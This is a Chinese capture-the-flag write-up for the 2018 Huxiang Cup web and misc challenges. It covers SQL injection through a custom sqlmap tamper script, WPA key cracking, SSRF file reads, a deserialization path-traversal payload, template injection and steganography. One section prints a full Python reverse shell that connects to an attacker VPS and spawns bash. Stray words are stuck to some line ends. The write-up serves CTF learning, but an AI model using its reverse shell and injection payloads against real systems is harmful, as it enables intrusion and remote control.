2018湖湘杯web、misc记录

          

1.题目名 Code Check

 

 

    打开题目,右键发现有id参数的url,简单base64解码之后发现不是明文,说明利用了其余的加密方式,那么应该会有具体的加密方式给咱们,因而试试常见的文件泄露,能够发现list.zip,打开发现是具体的解密逻辑与查询逻辑。php

    

 

    有了解密逻辑咱们就能够逆着写出加密逻辑,另外id参数明显存在注入,只须要写一个加密的sqlmap的tamper脚本,而后放到sqlmap的tamper目录下就能够了,以后在sqlmap里跑一跑就能够出flaghtml

 

          下面是改过的tamper脚本前端

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file 'LICENSE' for copying permission

"""

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

 

__priority__ = PRIORITY.LOWEST

 

def dependencies():

    pass

 

def encrypt(text):

    padding = '\0'

    key = 'ydhaqPQnexoaDuW3'

    iv = '2018201920202021'

    pad_it = lambda s: s+(16 - len(s)%16)*padding

    cipher = AES.new(key, AES.MODE_CBC, iv)

    text = text + 'hxb2018'

    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

         return encrypt(payload)

 

 

 

2.题目名 Flow

         题目是个流量包,802.11的,数据包是加密的,因此尝试一下能不能爆破出来key来解密一下上层的其余数据包来找flag,通常作无线的题目须要用到aircrack-ng这个无线破解工具。python

   首先须要一个弱密码的字典,而后运行 aircrack-ng -w 字典名 + 流量包,运气比较好恰好爆破出来了key为password1web

 

 

    有了key就能导入到wireshark里面对wpa加密的无线数据包进行解密sql

 

 

                 解密以后在导出http对象中发现flagshell

 

 

    

 

 

3.题目名 readflag

    ssrf的题目,首先读了下/etc/passwd没有什么有用的东西,因此继续读一下/etc/hosts发现内网里面有两台主机apache

 

 

 

 

 

     通过简单测试,发现题目的内网主机号为230,另外一台内网机器的主机号是183,因此尝试读一下另外一个机器上的文件,首先读一下apache的配置文件,发现以下路径树后端

 

 

     又由于http的网站在站点的配置文件下有默认的000-default.conf,因此尝试访问以下:bash

 

 

           发现了web的源码路径,直接读取

 

 

    发现路径/var/www/html/ssrf/readflag,尝试访问是个elf,一堆乱码,因此用wget下载这个elf,而后ida里面加载一下发现以下:

 

 

    因此更改一下路径,读取以下,获得flag

 

 

4.题目名 mynote

        这是一道反序列化的题目,在咱们注册登录之后,在抓包中发现picture参数有问题,base64解码发现其为序列化的数据,因此猜想是否其存在反序列化漏洞,咱们上传一个jpg文件

 

 

   又由于后端会访问咱们上传的图片并会返回到前端,因此尝试是否能够读取任意文件,上传1.jpg之后,抓包而且改成payload为a:1:{i:0;s:14:”../../flag.php”;},而后放包以下图所示,能够看到一串base64编码

 

 

 

解密后就能看到flag如上图所示

 

5. 管理员的flag在哪里?

       注册登录后,在添加标题那里刚开始选择“是”这个选项,觉得是xss,可是没效果,因而选择“否”,添加标题后发现有show页面,尝试了一下模板注入的payload

 

 

 

 

 

 

       返回了9说明的确存在模板注入,因而尝试是否能够执行命令

构造payload以下:

 

 

     返回的值证实能够执行命令,又继续尝试了一下curl和wget 都能使用,因此尝试反弹一下shell试试,在vps上监听一下端口,使用exp下载vps上的shell.py文件并执行,构造如下payload:

 

 

 

shell以下:

#!/usr/bin/env python

#coding:utf-8

 

import os

import pty

import socket

lhost = "xx.xx.xx.xx" #vps的ip地址

lport = 21192 #vps的端口

 

def main():

    s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((lhost,lport))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    pty.spawn('/bin/bash')

    s.close()

 

main()

 

 

                分别show以上的两条payload之后就可以拿到shell,在Xme0目录下存在auto.js 查看它以下图所示获得flag

 

6.disk

 下载一个是一个vmdk文件,首先看看能不能提取出来啥东西,这里须要用到7z

 

 

 

    提取出来里面有四个flag文件,可是打开并非flag,队友说可能跟NTFS隐藏数据流有关系,因此百度一波,在网上找到以下工具

 

 

 

可以检测出隐藏在文件中的NTFS数据流,搜索一下果真找到了可疑的数据流

 

 

    百度到ads原来是能够隐藏后门的,因而分别打开四个flag文件

 

 

 

        打开flag1.txt后是一段二进制,在线将其转化为字符串试试

 

 

           发现是flag,因此继续转换后面的三个文件中的二进制文件并转换就能够获得flag

 

 

7.Hidden Write

   首先拿到图片先binwalk一下,发现什么都没有

 

 

    而后strings一下图片

 

 

    结尾发现flag的一部分字符串78cd89c18c

    确定在别的地方还有flag的其余部分,因此用16进制编辑器看看图片,发现其有三个图片其中两张图片没有头部的前8个字节,因此把两张图片抠出来加上头部,就变成3张图片了

 

 

      此时掏出stegsolve来给三张图片用一用,在第二张图中发现了bgr通道的lsb隐写

 

 

     hxb2018{1e30f3b836d78d25c ,由此获得了flag的另外一个部分,此时明显还少最后一个部分,此时有三张图片固然想到用盲水印,之前在比赛中遇到过,因此用下图所示的工具试试:

 

 

 

 

       因为有3张图片因此须要两两结合来花费3次来尝试

 

 

 

 

    由此获得flag的最后一段为20b4a}

    最后拼接获得flag:

hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}

相关文章
相关标签/搜索